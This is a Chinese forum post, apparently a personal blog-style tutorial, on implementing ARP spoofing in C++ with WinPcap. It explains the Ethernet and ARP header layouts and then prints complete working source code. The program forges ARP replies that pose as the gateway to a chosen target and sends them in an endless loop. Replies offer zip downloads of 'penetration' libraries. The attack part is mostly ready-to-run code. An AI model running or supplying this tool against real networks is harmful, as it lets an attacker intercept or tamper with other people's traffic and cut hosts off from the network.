C++实现ARP欺骗

ARP欺骗

ARP欺骗(英语:ARP spoofing),又称ARP毒化(ARP poisoning,网络上多译为ARP病毒)或ARP攻击,是针对以太网地址解析协议(ARP)的一种攻击技术,通过欺骗局域网内访问者PC的网关MAC地址,使访问者PC错以为攻击者更改后的MAC地址是网关的MAC,导致网络不通。此种攻击可让攻击者获取局域网上的数据包甚至可篡改数据包,且可让网络上特定计算机或所有计算机无法正常连线。

实现的方法:

  1. 给指定的IP发ARP包
  2. ARP中指定来源IP是网关
  3. 然后来源的mac填写成我们自己的,这样子他就把网关认为成我们了

前几天老哥给我发了一本python的安全攻防,我翻了一下,看到了一篇用python实现的ARP毒化方法,用的是scapy,实现了简单的双工,下午的时候本来是要写人工智能的算法的,但是因为开了个班会的原因,一下子没兴趣了,舍友出去玩了没人陪我打游戏,我就想用C++实现ARP的毒化,也来扩大自己的类库(自己写了好多C++渗透逆向的类库,有感兴趣的可以和我要)。
用的还是比较老的winPcap。

编写前简单的了解一下ARP数据包的格式吧。
img1

首先是以太网的头部:

  1. 0-6字节是目的的mac地址
  2. 6-12字节是源的mac地址
  3. 12-14字节是我们的请求类型(1位请求,2位响应)

ARP头部:

  1. 硬件类型 1
  2. 协议类型 ARP是0x806
  3. 硬件地址长度 6
  4. 协议地址长度 4
  5. 操作类型 ARP请求是1
  6. 下面就是mac和ip了,不再重复
//14字节以太网首部
struct EthernetHeader
{
	u_char DestMAC[6];    //目的MAC地址 6字节
	u_char SourMAC[6];   //源MAC地址 6字节
	u_short EthType;         //上一层协议类型,如0x0800代表上一层是IP协议,0x0806为arp  2字节
};

//28字节ARP帧结构
struct ArpHeader
{
	unsigned short hdType;   //硬件类型
	unsigned short proType;   //协议类型
	unsigned char hdSize;   //硬件地址长度
	unsigned char proSize;   //协议地址长度
	unsigned short op;   //操作类型,ARP请求(1),ARP应答(2),RARP请求(3),RARP应答(4)。
	u_char smac[6];   //源MAC地址
	u_char sip[4];   //源IP地址
	u_char dmac[6];   //目的MAC地址
	u_char dip[4];   //目的IP地址
};

知道了这些,配合上我们的毒化方法就能简单的实现一个ARP的欺骗了。

首先我们需要用户输入四个内容(当然也可以只输入目标的IP,但是那样加大了代码量)

  1. 目标IP
  2. 网关IP
  3. 本机MAC
  4. 目标MAC

用户输入进来之后,我们进行校验输入的格式对不对就可以了。
然后我们选择网卡,使用winpcap的pcap_findalldevs就可以获取到网卡的信息了,得到的是一个链表,然后全部打印出来,让用户选择相对应的网卡,然后投掷我们ARP数据包。
看一下操作:
img1

整个程序比较麻烦的东西就是解析ip和mac,贴一下我写的吧:

struct IPSTRUCT
{
	unsigned char IP[4];
};
bool prarseIP(char* IP,IPSTRUCT* st)
{
	char *substr= strtok(IP,".");
	if (!substr)
		return false;
	st->IP[0] = atoi(substr);
	substr= strtok(NULL,".");
	if (!substr)
		return false;
	st->IP[1] = atoi(substr);
	substr= strtok(NULL,".");
	if (!substr)
		return false;
	st->IP[2] = atoi(substr);
	substr= strtok(NULL,".");
	if (!substr)
		return false;
	st->IP[3] = atoi(substr);
	return true;
}

int hex2int(char c)
{
	if ((c >= 'A') && (c <= 'Z'))
	{
		return c - 'A' + 10;
	}
	else if ((c >= 'a') && (c <= 'z'))
	{
		return c - 'a' + 10;
	}
	else if ((c >= '0') && (c <= '9'))
	{
		return c - '0';
	}
	return 0;
}

int HexToLLInt(const char* hexStr)
{
	int data[20] = { 0 };
	int count = 0;
	int i = 0;
	int ret = 0;
	int len = strlen(hexStr);
	if ((hexStr[len - 1] == '0') && (hexStr[len - 2] == '/'))
		len -= 2;
	for (int i = 0; i<len; i += 2)
	{
		int low = hex2int(hexStr[i+1]); //低四位
		int high = hex2int(hexStr[i]);  //高四位
		data[count++] = (high << 4) + low;
	}
	for (i = 0; i <count; i++)
	{
		ret = ret << 8;
		ret += data[i];
	}
	return ret;
}


struct MACSTRUCT
{
	unsigned char MAC[6];
};
bool prarseMAC(char* IP,MACSTRUCT* st)
{
	char *substr= strtok(IP,"-");
	if (!substr)
		return false;
	st->MAC[0] = HexToLLInt(substr);
	substr= strtok(NULL,"-");
	if (!substr)
		return false;
	st->MAC[1] = HexToLLInt(substr);
	substr= strtok(NULL,"-");
	if (!substr)
		return false;
	st->MAC[2] = HexToLLInt(substr);
	substr= strtok(NULL,"-");
	if (!substr)
		return false;
	st->MAC[3] = HexToLLInt(substr);
	substr= strtok(NULL,"-");
	if (!substr)
		return false;
	st->MAC[4] = HexToLLInt(substr);
	substr= strtok(NULL,"-");
	if (!substr)
		return false;
	st->MAC[5] = HexToLLInt(substr);
	return true;
}

封装了几个方法,十六进制的从网上借鉴的,懒得写了...

	pcap_if_t *alldevs;
	pcap_if_t *d;
	char errbuf[PCAP_ERRBUF_SIZE+1];
	/* Retrieve the interfaces list */
	if (pcap_findalldevs(&alldevs, errbuf) == -1)
	{
		fprintf(stderr,"Error in pcap_findalldevs: %s\n",errbuf);
		exit(1);
	}
	int id = 0;
	/* Scan the list printing every entry */
	for(d=alldevs;d;d=d->next)
	{
		printf_s("%d:",id);
		id++;
		ifprint(d);
	}
	int UseEID = 0;
	printf_s("请输入要使用的设备编号:");
	scanf_s("%d",&UseEID);
	/* 跳转到选中的适配器 */
	for (d = alldevs, id = 0; id < UseEID; d = d->next, id++)
		Sleep(1);
	pcap_t *adhandle;   //打开网络适配器,捕捉实例,是pcap_open返回的对象
	char error[PCAP_ERRBUF_SIZE];
	if((adhandle = pcap_open_live(d->name, 100, 1, 1000, error) ) == NULL)
	{
		fprintf(stderr,"\nError opening adapter: %s\n", error);
		system("pause");
		return 0;
	}

通过pcap_findalldevs获得pcap_if_t的链表指针,然后打印出来相关信息。
封装我们的ARP数据包:


	unsigned char sendbuf[42]; //arp包结构大小,42个字节

	EthernetHeader eh;
	ArpHeader ah;
	//赋值MAC地址
	memcpy(eh.DestMAC, ETHDestmac, 6);   //以太网首部目的MAC地址,全为广播地址
	memcpy(eh.SourMAC, ETHSourcemac, 6);   //以太网首部源MAC地址
	eh.EthType = htons(ETH_ARP);   //htons:将主机的无符号短整形数转换成网络字节顺序

	ah.hdType = htons(ARP_HARDWARE);
	ah.proType = htons(ETH_IP);
	ah.hdSize = 6;
	ah.proSize = 4;
	ah.op = htons(ARP_RESPONSE);
	memcpy(ah.smac, ARPSourcemac, 6);   //ARP字段源MAC地址
	memcpy(ah.dmac, ARPDestmac, 6);   //ARP字段目的MAC地址
	memcpy(ah.sip, ARPSip, 4);   //ARP字段源IP地址
	memcpy(ah.dip, ARPDip, 4);   //ARP字段目的IP地址

	//构造一个ARP请求
	memset(sendbuf, 0, sizeof(sendbuf));   //ARP清零
	memcpy(sendbuf, &eh, sizeof(eh));
	memcpy(sendbuf + sizeof(eh), &ah, sizeof(ah));

循环发送ARP数据包:

	printf_s("开始ARP欺骗");
	//监控数据包
	//pcap_loop(adhandle, 0, packet_handler, NULL);
	while(true)
	{
		if (pcap_sendpacket(adhandle, sendbuf, 42) == 0) {
			printf("ARP欺骗succeed\n");
			Sleep(500);
		}
		else {
			printf("PacketSendPacket in getmine Error: %d\n", GetLastError());
			break;
		}
	}

这样就可以实现ARP欺骗了。

ARP欺骗的完整代码:

#include "stdafx.h"
#include "PCAP.h"
#include "remote-ext.h"
#ifndef WIN32
#include <sys/socket.h>
#include <netinet/in.h>
#else
#include <winsock.h>
#endif

#pragma comment(lib,"ws2_32.lib")
#pragma comment(lib,"wpcap.lib")
/*
void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data)
{
	system("cls");
	static int packet_Count=1;
	packet_Count++;
	printf("开始欺骗后劫持本地的数据包个数:%d",packet_Count);
}
*/

#define ETH_ARP         0x0806  //以太网帧类型表示后面数据的类型,对于ARP请求或应答来说,该字段的值为x0806
#define ARP_HARDWARE    1  //硬件类型字段值为表示以太网地址
#define ETH_IP          0x0800  //协议类型字段表示要映射的协议地址类型值为x0800表示IP地址
#define ARP_REQUEST     1   //ARP请求
#define ARP_RESPONSE       2      //ARP应答

//14字节以太网首部
struct EthernetHeader
{
	u_char DestMAC[6];    //目的MAC地址 6字节
	u_char SourMAC[6];   //源MAC地址 6字节
	u_short EthType;         //上一层协议类型,如0x0800代表上一层是IP协议,0x0806为arp  2字节
};

//28字节ARP帧结构
struct ArpHeader
{
	unsigned short hdType;   //硬件类型
	unsigned short proType;   //协议类型
	unsigned char hdSize;   //硬件地址长度
	unsigned char proSize;   //协议地址长度
	unsigned short op;   //操作类型,ARP请求(1),ARP应答(2),RARP请求(3),RARP应答(4)。
	u_char smac[6];   //源MAC地址
	u_char sip[4];   //源IP地址
	u_char dmac[6];   //目的MAC地址
	u_char dip[4];   //目的IP地址
};

/* From tcptraceroute, convert a numeric IP address to a string */
#define IPTOSBUFFERS	12
char *iptos(u_long in)
{
	static char output[IPTOSBUFFERS][3*4+3+1];
	static short which;
	u_char *p;

	p = (u_char *)&in;
	which = (which + 1 == IPTOSBUFFERS ? 0 : which + 1);
	sprintf(output[which], "%d.%d.%d.%d", p[0], p[1], p[2], p[3]);
	return output[which];
}
/* Print all the available information on the given interface */
void ifprint(pcap_if_t *d)
{
	pcap_addr_t *a;

	/* Name */
	printf("%s\n",d->name);

	/* Description */
	if (d->description)
		printf("\tDescription: %s\n",d->description);

	/* Loopback Address*/
	printf("\tLoopback: %s\n",(d->flags & PCAP_IF_LOOPBACK)?"yes":"no");

	/* IP addresses */
	for(a=d->addresses;a;a=a->next) {
		printf("\tAddress Family: #%d\n",a->addr->sa_family);

		switch(a->addr->sa_family)
		{
		case AF_INET:
			printf("\tAddress Family Name: AF_INET\n");
			if (a->addr)
				printf("\tAddress: %s\n",iptos(((struct sockaddr_in *)a->addr)->sin_addr.s_addr));
			if (a->netmask)
				printf("\tNetmask: %s\n",iptos(((struct sockaddr_in *)a->netmask)->sin_addr.s_addr));
			if (a->broadaddr)
				printf("\tBroadcast Address: %s\n",iptos(((struct sockaddr_in *)a->broadaddr)->sin_addr.s_addr));
			if (a->dstaddr)
				printf("\tDestination Address: %s\n",iptos(((struct sockaddr_in *)a->dstaddr)->sin_addr.s_addr));
			break;
		default:
			printf("\tAddress Family Name: Unknown\n");
			break;
		}
	}
	printf("\n");
}


struct IPSTRUCT
{
	unsigned char IP[4];
};
bool prarseIP(char* IP,IPSTRUCT* st)
{
	char *substr= strtok(IP,".");
	if (!substr)
		return false;
	st->IP[0] = atoi(substr);
	substr= strtok(NULL,".");
	if (!substr)
		return false;
	st->IP[1] = atoi(substr);
	substr= strtok(NULL,".");
	if (!substr)
		return false;
	st->IP[2] = atoi(substr);
	substr= strtok(NULL,".");
	if (!substr)
		return false;
	st->IP[3] = atoi(substr);
	return true;
}

int hex2int(char c)
{
	if ((c >= 'A') && (c <= 'Z'))
	{
		return c - 'A' + 10;
	}
	else if ((c >= 'a') && (c <= 'z'))
	{
		return c - 'a' + 10;
	}
	else if ((c >= '0') && (c <= '9'))
	{
		return c - '0';
	}
	return 0;
}

int HexToLLInt(const char* hexStr)
{
	int data[20] = { 0 };
	int count = 0;
	int i = 0;
	int ret = 0;
	int len = strlen(hexStr);
	if ((hexStr[len - 1] == '0') && (hexStr[len - 2] == '/'))
		len -= 2;
	for (int i = 0; i<len; i += 2)
	{
		int low = hex2int(hexStr[i+1]); //低四位
		int high = hex2int(hexStr[i]);  //高四位
		data[count++] = (high << 4) + low;
	}
	for (i = 0; i <count; i++)
	{
		ret = ret << 8;
		ret += data[i];
	}
	return ret;
}


struct MACSTRUCT
{
	unsigned char MAC[6];
};
bool prarseMAC(char* IP,MACSTRUCT* st)
{
	char *substr= strtok(IP,"-");
	if (!substr)
		return false;
	st->MAC[0] = HexToLLInt(substr);
	substr= strtok(NULL,"-");
	if (!substr)
		return false;
	st->MAC[1] = HexToLLInt(substr);
	substr= strtok(NULL,"-");
	if (!substr)
		return false;
	st->MAC[2] = HexToLLInt(substr);
	substr= strtok(NULL,"-");
	if (!substr)
		return false;
	st->MAC[3] = HexToLLInt(substr);
	substr= strtok(NULL,"-");
	if (!substr)
		return false;
	st->MAC[4] = HexToLLInt(substr);
	substr= strtok(NULL,"-");
	if (!substr)
		return false;
	st->MAC[5] = HexToLLInt(substr);
	return true;
}


int main()
{

	//以太网目的mac ,被欺骗的MAC
	unsigned char ETHDestmac[6];
	//以太网源mac,我们的mac
	unsigned char ETHSourcemac[6];
	//ARP源mac,我们的mac
	unsigned char ARPSourcemac[6];
	//ARP目的mac,被欺骗的mac
	unsigned char ARPDestmac[6];
	//被欺骗的IP地址
	unsigned char ARPDip[4];
	//网关IP
	unsigned char ARPSip[4];

	char text[66];
	printf_s("请输入网关IP:");
	scanf("%s",&text);
	IPSTRUCT ips;
	if(!prarseIP(text,&ips))
	{
		printf("网关IP输入出错");
		return -1;
	}
	memcpy(ARPSip,ips.IP,4);
	printf_s("请输入目标IP:");
	scanf("%s",&text);
	if(!prarseIP(text,&ips))
	{
		printf("目标IP输入出错");
		return -1;
	}
	memcpy(ARPDip,ips.IP,4);
	printf_s("请输入本机MAC:");
	scanf("%s",&text);
	MACSTRUCT macs;
	if(!prarseMAC(text,&macs))
	{
		printf("本机MAC输入出错");
		return -1;
	}
	memcpy(ETHSourcemac,macs.MAC,6);
	memcpy(ARPSourcemac,macs.MAC,6);
	printf_s("请输入目标MAC:");
	scanf("%s",&text);
	if(!prarseMAC(text,&macs))
	{
		printf("目标MAC输入出错");
		return -1;
	}
	memcpy(ETHDestmac,macs.MAC,6);
	memcpy(ARPDestmac,macs.MAC,6);

	pcap_if_t *alldevs;
	pcap_if_t *d;
	char errbuf[PCAP_ERRBUF_SIZE+1];

	/* Retrieve the interfaces list */
	if (pcap_findalldevs(&alldevs, errbuf) == -1)
	{
		fprintf(stderr,"Error in pcap_findalldevs: %s\n",errbuf);
		exit(1);
	}

	int id = 0;
	/* Scan the list printing every entry */
	for(d=alldevs;d;d=d->next)
	{
		printf_s("%d:",id);
		id++;
		ifprint(d);
	}
	int UseEID = 0;
	printf_s("请输入要使用的设备编号:");
	scanf_s("%d",&UseEID);

	/* 跳转到选中的适配器 */
	for (d = alldevs, id = 0; id < UseEID; d = d->next, id++)
		Sleep(1);

	pcap_t *adhandle;   //打开网络适配器,捕捉实例,是pcap_open返回的对象
	char error[PCAP_ERRBUF_SIZE];
	if((adhandle = pcap_open_live(d->name, 100, 1, 1000, error) ) == NULL)
	{
		fprintf(stderr,"\nError opening adapter: %s\n", error);
		system("pause");
		return 0;
	}

	unsigned char sendbuf[42]; //arp包结构大小,42个字节

	EthernetHeader eh;
	ArpHeader ah;
	//赋值MAC地址
	memcpy(eh.DestMAC, ETHDestmac, 6);   //以太网首部目的MAC地址,全为广播地址
	memcpy(eh.SourMAC, ETHSourcemac, 6);   //以太网首部源MAC地址
	eh.EthType = htons(ETH_ARP);   //htons:将主机的无符号短整形数转换成网络字节顺序

	ah.hdType = htons(ARP_HARDWARE);
	ah.proType = htons(ETH_IP);
	ah.hdSize = 6;
	ah.proSize = 4;
	ah.op = htons(ARP_RESPONSE);
	memcpy(ah.smac, ARPSourcemac, 6);   //ARP字段源MAC地址
	memcpy(ah.dmac, ARPDestmac, 6);   //ARP字段目的MAC地址
	memcpy(ah.sip, ARPSip, 4);   //ARP字段源IP地址
	memcpy(ah.dip, ARPDip, 4);   //ARP字段目的IP地址

	//构造一个ARP请求
	memset(sendbuf, 0, sizeof(sendbuf));   //ARP清零
	memcpy(sendbuf, &eh, sizeof(eh));
	memcpy(sendbuf + sizeof(eh), &ah, sizeof(ah));
	
	printf_s("开始ARP欺骗");
	//监控数据包
	//pcap_loop(adhandle, 0, packet_handler, NULL);
	while(true)
	{
		if (pcap_sendpacket(adhandle, sendbuf, 42) == 0) {
			printf("ARP欺骗succeed\n");
			Sleep(500);
		}
		else {
			printf("PacketSendPacket in getmine Error: %d\n", GetLastError());
			break;
		}
	}
	return 0;
}

我没有实现双工,只是实现了欺骗目标IP,有兴趣的可以自己实现欺骗网关
winpcap
需要用到的头文件:
WpdPack.zip (754.5 KB)
需要安装的DLL和SYS文件的安装包
WinPcap_4_1_3.zip (874.3 KB)

2 Likes

表弟 对你那个自己实现的c++渗透用的类库比较感兴趣

给你一些通用的吧,一时半会给你找不完,某些漏洞的没啥意义
C++.zip (1.0 MB)java常用包.zip (10.0 MB)